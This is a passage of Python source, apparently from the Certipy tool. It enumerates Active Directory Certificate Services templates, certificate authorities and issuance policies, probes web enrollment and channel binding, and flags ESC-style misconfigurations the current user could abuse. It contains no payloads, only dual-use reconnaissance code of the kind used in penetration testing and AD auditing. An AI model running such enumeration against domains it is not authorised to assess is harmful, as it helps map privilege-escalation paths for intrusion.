This module allows enumerating Active Directory Certificate Services (AD CS) components:
- Certificate templates
- Certificate authorities
- Certificate issuance policies
- Security permissions and ACLs
- Vulnerability detection for ESC1-15
It provides detailed information about certificate templates, authorities, and security
settings, helping identify misconfiguration and potential attack vectors.
"""
import argparse
import copy
import csv
import io
import json
import time
from collections import OrderedDict
from datetime import datetime
from typing import Any, Dict, List, Optional, Set, Tuple, cast
import httpx
import requests
from asn1crypto import x509
from impacket.dcerpc.v5 import rpcrt, rrp
from certipy.lib.constants import (
EXTENDED_RIGHTS_MAP,
EXTENDED_RIGHTS_NAME_MAP,
OID_TO_STR_MAP,
USER_AGENT,
ActiveDirectoryRights,
CertificateAuthorityRights,
CertificateNameFlag,
CertificateRights,
EnrollmentFlag,
IssuancePolicyRights,
PrivateKeyFlag,
)
from certipy.lib.errors import handle_error
from certipy.lib.files import try_to_save_file
from certipy.lib.formatting import pretty_print
from certipy.lib.kerberos import HttpxKerberosAuth
from certipy.lib.ldap import LDAPConnection, LDAPEntry
from certipy.lib.logger import is_verbose, logging
from certipy.lib.ntlm import HttpxNtlmAuth, NtlmNotSupportedError
from certipy.lib.rpc import get_dce_rpc_from_string_binding
from certipy.lib.security import (
CertificateSecurity,
IssuancePolicySecurity,
is_admin_sid,
)
from certipy.lib.target import Target
from certipy.lib.time import filetime_to_str
from .ca import CA
class Find:
def __init__(
self,
target: Target,
json: bool = False,
csv: bool = False,
text: bool = False,
stdout: bool = False,
output: Optional[str] = None,
trailing_output: str = "",
enabled: bool = False,
oids: bool = False,
vulnerable: bool = False,
hide_admins: bool = False,
sid: Optional[str] = None,
dn: Optional[str] = None,
dc_only: bool = False,
connection: Optional[LDAPConnection] = None,
**kwargs, # type: ignore
):
self.target = target
self.json = json
self.csv = csv
self.text = text or stdout
self.stdout = stdout
self.output = output
self.trailing_output = trailing_output
self.enabled = enabled
self.oids = oids
self.vuln = vulnerable
self.hide_admins = hide_admins
self.sid = sid
self.dn = dn
self.dc_only = dc_only
self.kwargs = kwargs
self._connection = connection
self._user_sids = None
# =========================================================================
# Connection Handling
# =========================================================================
@property
def connection(self) -> LDAPConnection:
"""
Get or create an LDAP connection.
Returns:
Active LDAP connection to the target
"""
if self._connection is not None:
return self._connection
self._connection = LDAPConnection(self.target)
self._connection.connect()
return self._connection
@property
def user_sids(self) -> Set[str]:
"""
Get current user's SIDs.
Returns:
Set of SIDs associated with the current user
"""
if self._user_sids is None:
self._user_sids: Optional[Set[str]] = self.connection.get_user_sids(
self.target.username, self.sid, self.dn
)
return self._user_sids
def open_remote_registry(
self, target_ip: str, dns_host_name: str
) -> Optional[rpcrt.DCERPC_v5]:
"""
Open a connection to the remote registry service.
Args:
target_ip: IP address of the target
dns_host_name: DNS host name of the target
Returns:
DCE/RPC connection to the remote registry or None if failed
"""
dce = get_dce_rpc_from_string_binding(
"ncacn_np:445[\\pipe\\winreg]",
self.target,
timeout=self.target.timeout,
target_ip=target_ip,
remote_name=dns_host_name,
)
# Try to connect up to 3 times (registry service might need to start)
for _ in range(3):
try:
dce.connect()
_ = dce.bind(rrp.MSRPC_UUID_RRP)
logging.debug(
f"Connected to remote registry at {self.target.remote_name!r} ({self.target.target_ip!r})"
)
return dce
except Exception as e:
if "STATUS_PIPE_NOT_AVAILABLE" in str(e):
logging.warning(
"Failed to connect to remote registry. Service should be starting now. Trying again..."
)
time.sleep(2)
else:
raise
logging.warning("Failed to connect to remote registry after 3 attempts")
return None
# =========================================================================
# LDAP Query Methods
# =========================================================================
def get_certificate_templates(self) -> List[LDAPEntry]:
"""
Query LDAP for certificate templates.
Returns:
List of certificate template entries
"""
return self.connection.search(
"(objectclass=pKICertificateTemplate)",
search_base=f"CN=Certificate Templates,CN=Public Key Services,CN=Services,{self.connection.configuration_path}",
attributes=[
"cn",
"name",
"displayName",
"pKIExpirationPeriod",
"pKIOverlapPeriod",
"msPKI-Enrollment-Flag",
"msPKI-Private-Key-Flag",
"msPKI-Certificate-Name-Flag",
"msPKI-Certificate-Policy",
"msPKI-Minimal-Key-Size",
"msPKI-RA-Signature",
"msPKI-Template-Schema-Version",
"msPKI-RA-Application-Policies",
"pKIExtendedKeyUsage",
"nTSecurityDescriptor",
"objectGUID",
"whenCreated",
"whenChanged",
],
query_sd=True,
)
def get_certificate_authorities(self) -> List[LDAPEntry]:
"""
Query LDAP for certificate authorities.
Returns:
List of certificate authority entries
"""
return self.connection.search(
"(&(objectClass=pKIEnrollmentService))",
search_base=f"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}",
attributes=[
"cn",
"name",
"dNSHostName",
"cACertificateDN",
"cACertificate",
"certificateTemplates",
"objectGUID",
],
)
def get_issuance_policies(self) -> List[LDAPEntry]:
"""
Query LDAP for issuance policies (OIDs).
Returns:
List of issuance policy entries
"""
return self.connection.search(
"(objectclass=msPKI-Enterprise-Oid)",
search_base=f"CN=OID,CN=Public Key Services,CN=Services,{self.connection.configuration_path}",
attributes=[
"cn",
"name",
"displayName",
"msDS-OIDToGroupLink",
"msPKI-Cert-Template-OID",
"nTSecurityDescriptor",
"objectGUID",
],
query_sd=True,
)
# =========================================================================
# Main Discovery Method
# =========================================================================
def find(self) -> None:
"""
Discover and analyze AD CS components and detect vulnerabilities.
This is the main entry point that:
1. Discovers templates, CAs, and issuance policies
2. Processes their properties and security settings
3. Detects vulnerabilities
4. Outputs results in requested formats
"""
# Early establish connection
_connection = self.connection
# Get user SIDs for vulnerability assessment if needed
if self.vuln:
sids = self.user_sids
if is_verbose():
logging.debug("List of current user's SIDs:")
for sid in sids:
sid_info = self.connection.lookup_sid(sid)
print(f" {sid_info.get('name')} ({sid_info.get('objectSid')})")
# Step 1: Query and discover AD CS components
logging.info("Finding certificate templates")
templates = self.get_certificate_templates()
logging.info(
f"Found {len(templates)} certificate template{'s' if len(templates) != 1 else ''}"
)
logging.info("Finding certificate authorities")
cas = self.get_certificate_authorities()
logging.info(
f"Found {len(cas)} certificate authorit{'ies' if len(cas) != 1 else 'y'}"
)
# Step 2: Find relationships between CAs and templates
enabled_templates_count = self._link_cas_and_templates(cas, templates)
logging.info(
f"Found {enabled_templates_count} enabled certificate template{'s' if enabled_templates_count != 1 else ''}"
)
# Step 3: Find issuance policies and their relationships
logging.info("Finding issuance policies")
oids = self.get_issuance_policies()
logging.info(
f"Found {len(oids)} issuance polic{'ies' if len(oids) != 1 else 'y'}"
)
# Step 4: Link templates to issuance policies
enabled_oids_count = self._link_templates_and_policies(templates, oids)
logging.info(
f"Found {enabled_oids_count} OID{'s' if enabled_oids_count != 1 else ''} "
f"linked to {'templates' if enabled_oids_count != 1 else 'a template'}"
)
# Step 5: Process CA certificates and properties
self._process_ca_properties(cas)
# Step 6: Process template properties
self._process_template_properties(templates)
# Step 7: Generate and save output
prefix = (
datetime.now().strftime("%Y%m%d%H%M%S") if not self.output else self.output
)
self._save_output(templates, cas, oids, prefix)
# =========================================================================
# Certificate Authority (CA) Methods
# =========================================================================
def _link_cas_and_templates(
self, cas: List[LDAPEntry], templates: List[LDAPEntry]
) -> int:
"""
Link certificate authorities to templates and vice versa.
Args:
cas: List of certificate authorities
templates: List of certificate templates
Returns:
Number of enabled templates
"""
enabled_templates_count = 0
for ca in cas:
# Clean GUID format
object_id = ca.get("objectGUID").lstrip("{").rstrip("}")
ca.set("object_id", object_id)
# Get templates enabled on this CA
ca_templates = ca.get("certificateTemplates") or []
# Link CA to templates
for template in templates:
if template.get("name") in ca_templates:
enabled_templates_count += 1
# Add CA to template's CA list
if "cas" in template["attributes"]:
template.get("cas").append(ca.get("name"))
template.get("cas_ids").append(object_id)
else:
template.set("cas", [ca.get("name")])
template.set("cas_ids", [object_id])
return enabled_templates_count
def _link_templates_and_policies(
self, templates: List[LDAPEntry], oids: List[LDAPEntry]
) -> int:
"""
Link templates to their issuance policies and vice versa.
Args:
templates: List of certificate templates
oids: List of issuance policies
Returns:
Number of enabled OIDs
"""
enabled_oids_count = 0
for template in templates:
# Clean GUID format
object_id = template.get("objectGUID").lstrip("{").rstrip("}")
template.set("object_id", object_id)
# Process issuance policies
issuance_policies = template.get("msPKI-Certificate-Policy")
if not isinstance(issuance_policies, list):
issuance_policies = (
[] if issuance_policies is None else [issuance_policies]
)
template.set("issuance_policies", issuance_policies)
# Link OIDs to templates and vice versa
for oid in oids:
oid_value = oid.get("msPKI-Cert-Template-OID")
if oid_value in issuance_policies:
enabled_oids_count += 1
# Get linked group (if any)
linked_group = oid.get("msDS-OIDToGroupLink")
# Add template to OID's template list
if "templates" in oid["attributes"]:
oid.get("templates").append(template.get("name"))
oid.get("templates_ids").append(object_id)
else:
oid.set("templates", [template.get("name")])
oid.set("templates_ids", [object_id])
# Add linked group info
if linked_group:
oid.set("linked_group", linked_group)
# Add linked group to template
if "issuance_policies_linked_groups" in template["attributes"]:
template.get("issuance_policies_linked_groups").append(
linked_group
)
else:
template.set(
"issuance_policies_linked_groups", [linked_group]
)
return enabled_oids_count
def _process_ca_properties(self, cas: List[LDAPEntry]) -> None:
"""
Process certificate authority properties and security settings.
Args:
cas: List of certificate authorities
"""
for ca in cas:
try:
if self.dc_only:
# In DC-only mode, we don't connect to CAs directly
ca_properties = {
"user_specified_san": "Unknown",
"request_disposition": "Unknown",
"enforce_encrypt_icertrequest": "Unknown",
"security": None,
"web_enrollment": {
"http": {"enabled": "Unknown"},
"https": {"enabled": "Unknown", "channel_binding": None},
},
}
else:
# Connect to CA and get configuration
ca_properties = self._get_ca_config_and_web_enrollment(ca)
# Apply all properties to the CA object
for key, value in ca_properties.items():
ca.set(key, value)
# Process CA certificate if available
self._process_ca_certificate(ca)
except Exception as e:
ca_name = ca.get("name", "Unknown")
logging.warning(f"Failed to process CA properties for {ca_name!r}: {e}")
handle_error(True)
# Continue processing other CAs
continue
def _get_ca_config_and_web_enrollment(self, ca: LDAPEntry) -> Dict[str, Any]:
"""
Get CA configuration and web enrollment settings.
Args:
ca: Certificate authority object
Returns:
Dictionary of CA properties
"""
# Default values
ca_properties: Dict[str, Any] = {
"user_specified_san": "Unknown",
"request_disposition": "Unknown",
"enforce_encrypt_icertrequest": "Unknown",
"security": None,
"web_enrollment": {
"http": {"enabled": "Unknown"},
"https": {"enabled": "Unknown", "channel_binding": None},
},
}
ca_name = ca.get("name")
ca_remote_name = ca.get("dNSHostName")
try:
# Get CA hostname and IP
ca_target_ip = self.target.resolver.resolve(ca_remote_name)
# Clone target for this CA
ca_target = copy.copy(self.target)
ca_target.remote_name = ca_remote_name
ca_target.target_ip = ca_target_ip
# Connect to CA and get configuration
ca_service = CA(ca_target, ca=ca_name)
ca_configuration = ca_service.get_config()
active_policy = "Unknown"
request_disposition = "Unknown"
user_specified_san = "Unknown"
enforce_encrypt_icertrequest = "Unknown"
disabled_extensions = "Unknown"
security = None
if ca_configuration is not None:
active_policy = ca_configuration.active_policy
# Process request disposition
request_disposition = (
"Pending"
if ca_configuration.request_disposition & 0x100
else "Issue"
)
# Process SAN flag
user_specified_san = (
ca_configuration.edit_flags & 0x00040000
) == 0x00040000
user_specified_san = "Enabled" if user_specified_san else "Disabled"
# Process encryption flag
enforce_encrypt = (
ca_configuration.interface_flags & 0x00000200
) == 0x00000200
enforce_encrypt_icertrequest = (
"Enabled" if enforce_encrypt else "Disabled"
)
# TODO: Map to human-readable format
disabled_extensions = ca_configuration.disable_extension_list
security = ca_configuration.security
# Update properties
ca_properties.update(
{
"active_policy": active_policy,
"user_specified_san": user_specified_san,
"request_disposition": request_disposition,
"enforce_encrypt_icertrequest": enforce_encrypt_icertrequest,
"disabled_extensions": disabled_extensions,
"security": security,
}
)
except Exception as e:
logging.warning(
f"Failed to get CA security and configuration for {ca_name!r}: {e}"
)
handle_error(True)
# Check web enrollment
logging.info(f"Checking web enrollment for CA {ca_name!r} @ {ca_remote_name!r}")
try:
ca_properties["web_enrollment"]["http"]["enabled"] = (
self.check_web_enrollment(ca, "http")
)
https_enabled = self.check_web_enrollment(ca, "https")
ca_properties["web_enrollment"]["https"]["enabled"] = https_enabled
if https_enabled:
# Check channel binding (EPA)
channel_binding_enabled = self.check_channel_binding(ca)
ca_properties["web_enrollment"]["https"]["channel_binding"] = (
"Unknown"
if channel_binding_enabled is None
else channel_binding_enabled
)
except Exception as e:
logging.warning(f"Failed to check Web Enrollment for CA {ca_name!r}: {e}")
handle_error(True)
return ca_properties
def _process_ca_certificate(self, ca: LDAPEntry):
"""
Process CA certificate information.
Args:
ca: Certificate authority object
"""
subject_name = ca.get("cACertificateDN")
ca.set("subject_name", subject_name)
try:
ca_certificate = ca.get("cACertificate")
if not ca_certificate or len(ca_certificate) == 0:
logging.debug(f"No CA certificate available for {ca.get('name')!r}")
return
# Parse the CA certificate
ca_cert = x509.Certificate.load(ca_certificate[0])["tbs_certificate"]
# Get certificate serial number
serial_number = hex(int(ca_cert["serial_number"]))[2:].upper()
# Get certificate validity period
validity = ca_cert["validity"].native
validity_start = str(validity["not_before"])
validity_end = str(validity["not_after"])
# Set certificate properties
ca.set("serial_number", serial_number)
ca.set("validity_start", validity_start)
ca.set("validity_end", validity_end)
except Exception as e:
logging.warning(
f"Could not parse CA certificate for {ca.get('name')!r}: {e}"
)
handle_error(True)
def check_web_enrollment(self, ca: LDAPEntry, channel: str) -> bool:
"""
Check if web enrollment is enabled on the CA.
Args:
ca: Certificate authority object
channel: Protocol to check (http or https)
Returns:
True if enabled, False if disabled, None if unknown
"""
target_name = ca.get("dNSHostName")
target_ip = self.target.resolver.resolve(target_name)
headers = {
"User-Agent": USER_AGENT,
"Host": target_name,
}
session = httpx.Client(
timeout=self.target.timeout,
verify=False,
)
url = f"{channel}://{target_ip}/certsrv/"
try:
logging.debug(f"Connecting to {url!r}")
res = session.get(
url,
headers=headers,
timeout=self.target.timeout,
follow_redirects=False,
)
# 401 indicates authentication required (service is running)
if res.status_code == 401:
logging.debug(f"Web enrollment seems enabled over {channel}")
return True
except requests.exceptions.Timeout:
logging.debug(f"Web enrollment seems disabled over {channel}")
return False
except Exception as e:
logging.warning(f"Error checking web enrollment: {e}")
handle_error(True)
return False
def check_channel_binding(self, ca: LDAPEntry) -> Optional[bool]:
"""
Check if a Certificate Authority web enrollment endpoint enforces channel binding (EPA).
This method tests HTTPS web enrollment authentication with and without channel binding
to determine if Extended Protection for Authentication (EPA) is enabled.
Args:
ca: LDAP entry for the Certificate Authority
Returns:
True if channel binding is enforced
False if channel binding is disabled
None if the test was inconclusive or failed
"""
target_name = ca.get("dNSHostName")
ca_name = ca.get("name")
logging.debug(f"Checking channel binding for CA {ca_name!r} ({target_name!r})")
# Set up connection parameters
try:
target_ip = self.target.resolver.resolve(target_name)
# Create a copy of the target with CA-specific settings
ca_target = copy.copy(self.target)
ca_target.remote_name = target_name
# Select authentication method based on whether Kerberos is enabled
do_ntlm = not self.target.do_kerberos
if do_ntlm:
no_cb_auth = HttpxNtlmAuth(ca_target, channel_binding=False)
cb_auth = HttpxNtlmAuth(ca_target, channel_binding=True)
else:
no_cb_auth = HttpxKerberosAuth(ca_target, channel_binding=False)
cb_auth = HttpxKerberosAuth(ca_target, channel_binding=True)
url = f"https://{target_ip}/certsrv/"
headers = {"User-Agent": USER_AGENT, "Host": target_name}
# First test: Try authentication without channel binding
no_cb_session = httpx.Client(
auth=no_cb_auth,
timeout=self.target.timeout,
verify=False,
)
res_no_cb = no_cb_session.get(
url,
headers=headers,
timeout=self.target.timeout,
follow_redirects=False,
)
logging.debug(
f"CA {ca_name!r} responds with {res_no_cb.status_code} over HTTPS without channel binding"
)
# If non-401 status code, channel binding is likely disabled
# (server accepted auth without channel binding)
if res_no_cb.status_code != 401:
logging.debug("Channel binding (EPA) seems disabled")
return False
# Second test: Try authentication with channel binding
cb_session = httpx.Client(
auth=cb_auth,
timeout=self.target.timeout,
verify=False,
)
res_cb = cb_session.get(
url,
headers=headers,
timeout=self.target.timeout,
follow_redirects=False,
)
logging.debug(
f"CA {ca_name!r} responds with {res_cb.status_code} over HTTPS with channel binding"
)
# If status code is not 401, channel binding is likely enabled
# (server accepted auth with channel binding but not without it)
if res_cb.status_code != 401:
logging.debug("Channel binding (EPA) seems enabled")
return True
else:
# Both requests returned 401, likely due to invalid credentials
logging.warning(
"Channel binding (EPA) produces the same response as without it. Perhaps invalid credentials?"
)
return None
except NtlmNotSupportedError:
# NTLM not supported, skip channel binding check
logging.warning(
"Failed to check channel binding: NTLM not supported. Try using Kerberos authentication (-k and -dc-host)."
)
return None
except Exception as e:
logging.warning(f"Failed to check channel binding: {e}")
handle_error(True)
return None
# =========================================================================
# Certificate Template Methods
# =========================================================================
def _process_template_properties(self, templates: List[LDAPEntry]):
"""
Process certificate template properties.
Args:
templates: List of certificate templates
"""
for template in templates:
# Set enabled flag
template_cas = template.get("cas")
enabled = template_cas is not None and len(template_cas) > 0
template.set("enabled", enabled)
# Process validity periods
self._process_template_validity(template)
# Process template flags
self._process_template_flags(template)
# Process template policies
self._process_template_policies(template)
def _process_template_validity(self, template: LDAPEntry):
"""
Process template validity periods.
Args:
template: Certificate template
"""
# Process expiration period
expiration_period = template.get("pKIExpirationPeriod")
if expiration_period is not None:
validity_period = filetime_to_str(expiration_period)
else:
validity_period = 0
template.set("validity_period", validity_period)
# Process overlap (renewal) period
overlap_period = template.get("pKIOverlapPeriod")
if overlap_period is not None:
renewal_period = filetime_to_str(overlap_period)
else:
renewal_period = 0
template.set("renewal_period", renewal_period)
def _process_template_flags(self, template: LDAPEntry):
"""
Process template flag attributes.
Args:
template: Certificate template
"""
# Process certificate name flags
certificate_name_flag = template.get("msPKI-Certificate-Name-Flag")
if certificate_name_flag is not None:
certificate_name_flag = CertificateNameFlag(int(certificate_name_flag))
else:
certificate_name_flag = CertificateNameFlag(0)
template.set("certificate_name_flag", certificate_name_flag.to_list())
# Process enrollment flags
enrollment_flag = template.get("msPKI-Enrollment-Flag")
if enrollment_flag is not None:
enrollment_flag = EnrollmentFlag(int(enrollment_flag))
else:
enrollment_flag = EnrollmentFlag(0)
template.set("enrollment_flag", enrollment_flag.to_list())
# Process private key flags
private_key_flag = template.get("msPKI-Private-Key-Flag")
if private_key_flag is not None:
private_key_flag = PrivateKeyFlag(int(private_key_flag))
else:
private_key_flag = PrivateKeyFlag(0)
template.set("private_key_flag", private_key_flag.to_list())
# Process signature requirements
authorized_signatures_required = template.get("msPKI-RA-Signature")
if authorized_signatures_required is not None:
authorized_signatures_required = int(authorized_signatures_required)
else:
authorized_signatures_required = 0
template.set("authorized_signatures_required", authorized_signatures_required)
# Process schema version
schema_version = template.get("msPKI-Template-Schema-Version")
if schema_version is not None:
schema_version = int(schema_version)
else:
schema_version = 1
template.set("schema_version", schema_version)
def _process_template_policies(self, template: LDAPEntry):
"""
Process template policy attributes and extended key usage.
Args:
template: Certificate template
"""
# Process application policies
application_policies = template.get_raw("msPKI-RA-Application-Policies")
if not isinstance(application_policies, list):
application_policies = (
[] if application_policies is None else [application_policies]
)
# Convert from bytes to strings and resolve OIDs
application_policies = [p.decode() for p in application_policies]
application_policies = [OID_TO_STR_MAP.get(p, p) for p in application_policies]
template.set("application_policies", application_policies)
# Process extended key usage (EKU)
eku = template.get_raw("pKIExtendedKeyUsage")
if not isinstance(eku, list):
eku = [] if eku is None else [eku]
# Convert from bytes to strings and resolve OIDs
eku = cast(List[str], [e.decode() for e in eku])
extended_key_usage = [OID_TO_STR_MAP.get(e, e) for e in eku]
template.set("extended_key_usage", extended_key_usage)
# Determine template capabilities
self._determine_template_capabilities(template, extended_key_usage)
def _determine_template_capabilities(
self, template: LDAPEntry, extended_key_usage: List[str]
):
"""
Determine template capabilities from EKU and flags.
Args:
template: Certificate template
extended_key_usage: List of extended key usage values
"""
# Check for "any purpose" EKU
any_purpose = "Any Purpose" in extended_key_usage or not extended_key_usage
template.set("any_purpose", any_purpose)
# Check for client authentication capability
client_auth_ekus = [
"Client Authentication",
"Smart Card Logon",
"PKINIT Client Authentication",
]
client_authentication = any_purpose or any(
eku in extended_key_usage for eku in client_auth_ekus
)
template.set("client_authentication", client_authentication)
# Check for server authentication capability
server_authentication = (
"Server Authentication" in extended_key_usage or any_purpose
)
template.set("server_authentication", server_authentication)
# Check for enrollment agent capability
enrollment_agent = (
any_purpose or "Certificate Request Agent" in extended_key_usage
)
template.set("enrollment_agent", enrollment_agent)
# Check if enrollee can supply subject
certificate_name_flag = template.get("certificate_name_flag", [])
enrollee_supplies_subject = any(
CertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT in flag
for flag in certificate_name_flag
)
template.set("enrollee_supplies_subject", enrollee_supplies_subject)
# Check if template requires manager approval
enrollment_flag = template.get("enrollment_flag", [])
requires_manager_approval = EnrollmentFlag.PEND_ALL_REQUESTS in enrollment_flag
template.set("requires_manager_approval", requires_manager_approval)
# Check if template has no security extension
no_security_extension = EnrollmentFlag.NO_SECURITY_EXTENSION in enrollment_flag
template.set("no_security_extension", no_security_extension)
# Check if template requires key archival
private_key_flag = template.get("private_key_flag", [])
requires_key_archival = (
PrivateKeyFlag.REQUIRE_PRIVATE_KEY_ARCHIVAL in private_key_flag
)
template.set("requires_key_archival", requires_key_archival)
# =========================================================================
# Output Methods
# =========================================================================
def _save_output(
self,
templates: List[LDAPEntry],
cas: List[LDAPEntry],
oids: List[LDAPEntry],
prefix: str,
):
"""
Generate and save output in requested formats.
Args:
templates: List of certificate templates
cas: List of certificate authorities
oids: List of issuance policies
prefix: Output file prefix
"""
# Determine if default output format should be used
not_specified = not any([self.json, self.text, self.csv])
# Generate output for text/JSON formats
output = self.get_output_for_text_and_json(templates, cas, oids)
# Save text output
if self.text or not_specified:
output_text_stdout = copy.copy(output)
if self.trailing_output:
output_text_stdout["ESC14"] = self.trailing_output
if self.stdout:
logging.info("Enumeration output:")
pretty_print(output_text_stdout)
else:
output_path = f"{prefix}_Certipy.txt"
logging.info(f"Saving text output to {output_path!r}")
f = io.StringIO()
pretty_print(
output_text_stdout,
print_func=lambda x: f.write(x + "\n"),
)
output_path = try_to_save_file(
f.getvalue(),
output_path,
)
logging.info(f"Wrote text output to {output_path!r}")
# Save JSON output
if self.json or not_specified:
output_path = f"{prefix}_Certipy.json"
logging.info(f"Saving JSON output to {output_path!r}")
f = io.StringIO()
json.dump(
output,
f,
indent=2,
default=str,
)
output_path = try_to_save_file(
f.getvalue(),
output_path,
)
logging.info(f"Wrote JSON output to {output_path!r}")
# Save CSV output
if self.csv:
# Save templates CSV
template_output = self.get_template_output_for_csv(output)
template_output_path = f"{prefix}_Templates_Certipy.csv"
logging.info(f"Saving templates CSV output to {template_output_path!r}")
template_output_path = try_to_save_file(
template_output, template_output_path
)
logging.info(f"Wrote templates CSV output to {template_output_path!r}")
# Save CA CSV
ca_output = self.get_ca_output_for_csv(output)
ca_output_path = f"{prefix}_CAs_Certipy.csv"
logging.info(f"Saving CA CSV output to {ca_output_path!r}")
ca_output_path = try_to_save_file(ca_output, ca_output_path)
logging.info(f"Wrote CA CSV output to {ca_output_path!r}")
def get_output_for_text_and_json(
self, templates: List[LDAPEntry], cas: List[LDAPEntry], oids: List[LDAPEntry]
) -> Dict[str, Any]:
"""
Generate structured output for text and JSON formats.
Args:
templates: List of certificate templates
cas: List of certificate authorities
oids: List of issuance policies
Returns:
Dictionary containing structured output
"""
ca_entries = {}
template_entries = {}
oids_entries = {}
# Process templates
for template in templates:
# Skip if only showing enabled templates and this one isn't
if self.enabled and template.get("enabled") is not True:
continue
# Get template vulnerabilities
vulnerabilities, remarks, enrollable_principals, acl_principals = (
self.get_template_vulnerabilities(template)
)
# Skip if only showing vulnerable templates and this one isn't
if self.vuln and not vulnerabilities:
continue
# Create entry with properties and permissions
entry = OrderedDict()
entry = self.get_template_properties(template, entry)
# Add permissions
permissions = self.get_template_permissions(template)
if permissions:
entry["Permissions"] = permissions
# Add enrollable principals
if enrollable_principals:
entry["[+] User Enrollable Principals"] = enrollable_principals
# Add ACL principals
if acl_principals:
entry["[+] User ACL Principals"] = acl_principals
# Add vulnerabilities
if vulnerabilities:
entry["[!] Vulnerabilities"] = vulnerabilities
if remarks:
entry["[*] Remarks"] = remarks
# Add entry to collection
template_entries[len(template_entries)] = entry
# Process CAs
for ca in cas:
# Create entry with properties and permissions
entry = OrderedDict()
entry = self.get_ca_properties(ca, entry)
# Add permissions
permissions = self.get_ca_permissions(ca)
if permissions:
entry["Permissions"] = permissions
# Add vulnerabilities
vulnerabilities, remarks, enrollable_principals, acl_principals = (
self.get_ca_vulnerabilities(ca)
)
# Add enrollable principals
if acl_principals:
entry["[+] User Enrollable Principals"] = enrollable_principals
# Add ACL principals
if acl_principals:
entry["[+] User ACL Principals"] = acl_principals
# Add vulnerabilities
if vulnerabilities:
entry["[!] Vulnerabilities"] = vulnerabilities
# Add CA certificate properties
if remarks:
entry["[*] Remarks"] = remarks
# Add entry to collection
ca_entries[len(ca_entries)] = entry
# Process OIDs if requested
if self.oids:
for oid in oids:
# Get OID vulnerabilities
vulnerabilities, acl_principals = self.get_oid_vulnerabilities(oid)
# Skip if only showing vulnerable OIDs and this one isn't
if self.vuln and not vulnerabilities:
continue
# Create entry with properties and permissions
entry = OrderedDict()
entry = self.get_oid_properties(oid, entry)
# Add permissions
permissions = self.get_oid_permissions(oid)
if permissions:
entry["Permissions"] = permissions
# Add ACL principals
if acl_principals:
entry["[+] User ACL Principals"] = acl_principals
# Add vulnerabilities
if vulnerabilities:
entry["[!] Vulnerabilities"] = vulnerabilities
# Add entry to collection
oids_entries[len(oids_entries)] = entry
# Build final output dictionary
output = {}
# Add CAs
if not ca_entries:
output["Certificate Authorities"] = "[!] Could not find any CAs"
else:
output["Certificate Authorities"] = ca_entries
# Add templates
if not template_entries:
output["Certificate Templates"] = (
"[!] Could not find any certificate templates"
)
else:
output["Certificate Templates"] = template_entries
# Add OIDs if requested
if self.oids:
if not oids_entries:
output["Issuance Policies"] = "[!] Could not find any issuance policy"
else:
output["Issuance Policies"] = oids_entries
return output
def get_ca_output_for_csv(self, output: Dict[str, Any]) -> str:
"""
Convert Certificate Authority data to CSV format.
This function transforms nested CA data into a flattened CSV format.
It handles complex nested structures like permissions and web enrollment
settings in a way that makes them readable in CSV format.
Args:
output: Dictionary containing CA data (from get_output_for_text_and_json)
Returns:
String containing CSV-formatted data
"""
# Column order for the CSV output (determines which fields to include and their order)
column_order = [
"CA Name",
"DNS Name",
"Certificate Subject",
"Certificate Serial Number",
"Certificate Validity Start",
"Certificate Validity End",
"User Specified SAN",
"Request Disposition",
"Enforce Encryption for Requests",
"Web Enrollment HTTP",
"Web Enrollment HTTPS",
"Channel Binding",
"Owner",
"Manage CA Principals",
"Manage Certificates Principals",
"[!] Vulnerabilities",
]
# Create CSV writer with semicolon delimiter and quote all fields
csvfile = io.StringIO(newline="")
writer = csv.DictWriter(
csvfile,
fieldnames=column_order,
extrasaction="ignore", # Ignore fields not in column_order
delimiter=";",
quoting=csv.QUOTE_ALL,
)
# Write header row
writer.writeheader()
# Check if we have valid CA data
if not isinstance(output.get("Certificate Authorities"), dict):
logging.warning("No certificate authority data available for CSV export")
return csvfile.getvalue()
try:
# Process each CA and flatten its structure
ca_rows = [
self._flatten_ca_data(output["Certificate Authorities"][id_])
for id_ in output["Certificate Authorities"]
]
# Write all rows to CSV
writer.writerows(ca_rows)
return csvfile.getvalue()
except Exception as e:
logging.error(f"Error generating CA CSV data: {e}")
handle_error()
return csvfile.getvalue()
def _flatten_ca_data(self, ca_entry: Dict[str, Any]) -> Dict[str, str]:
"""
Flatten a nested CA dictionary for CSV output.
Handles special cases like permissions dictionaries, web enrollment settings,
and list values by converting them to appropriate string representations.
Args:
ca_entry: Dictionary containing CA data
Returns:
Flattened dictionary with string values suitable for CSV
"""
items = []
# Process each field in the CA entry
for key, value in ca_entry.items():
# Handle web enrollment specially
if key == "Web Enrollment" and isinstance(value, dict):
# Extract HTTP status
if (
"http" in value
and isinstance(value["http"], dict)
and "enabled" in value["http"]
):
http_status = "Enabled" if value["http"]["enabled"] else "Disabled"
items.append(("Web Enrollment HTTP", http_status))
# Extract HTTPS status
if "https" in value and isinstance(value["https"], dict):
if "enabled" in value["https"]:
https_status = (
"Enabled" if value["https"]["enabled"] else "Disabled"
)
items.append(("Web Enrollment HTTPS", https_status))
# Extract channel binding status
if "channel_binding" in value["https"]:
cb_status = "Unknown"
if value["https"]["channel_binding"] is True:
cb_status = "Enabled"
elif value["https"]["channel_binding"] is False:
cb_status = "Disabled"
items.append(("Channel Binding", cb_status))
# Handle permissions specially
elif "Permissions" in key and isinstance(value, dict):
# Process owner
if "Owner" in value:
items.append(("Owner", str(value["Owner"])))
# Process access rights
if "Access Rights" in value and isinstance(
value["Access Rights"], dict
):
access_rights = value["Access Rights"]
# Process Manage CA permissions
if "Manage CA" in access_rights and isinstance(
access_rights["Manage CA"], list
):
items.append(
(
"Manage CA Principals",
"\n".join(access_rights["Manage CA"]),
)
)
# Process Manage Certificates permissions
if "Manage Certificates" in access_rights and isinstance(
access_rights["Manage Certificates"], list
):
items.append(
(
"Manage Certificates Principals",
"\n".join(access_rights["Manage Certificates"]),
)
)
# Handle vulnerabilities specially
elif "[!] Vulnerabilities" in key and isinstance(value, dict):
vuln_list = [f"{k}: {v}" for k, v in value.items()]
items.append((key, "\n".join(vuln_list)))
# Handle dictionaries (convert to "key: value" format)
elif isinstance(value, dict):
formatted_value = ", ".join([f"{k}: {v}" for k, v in value.items()])
items.append((key, formatted_value))
# Handle lists (join with newlines for better CSV reading)
elif isinstance(value, list):
items.append((key, "\n".join(map(str, value))))
# Handle simple values
else:
items.append((key, str(value) if value is not None else ""))
return dict(items)
def get_template_output_for_csv(self, output: Dict[str, Any]) -> str:
"""
Convert certificate template data to CSV format.
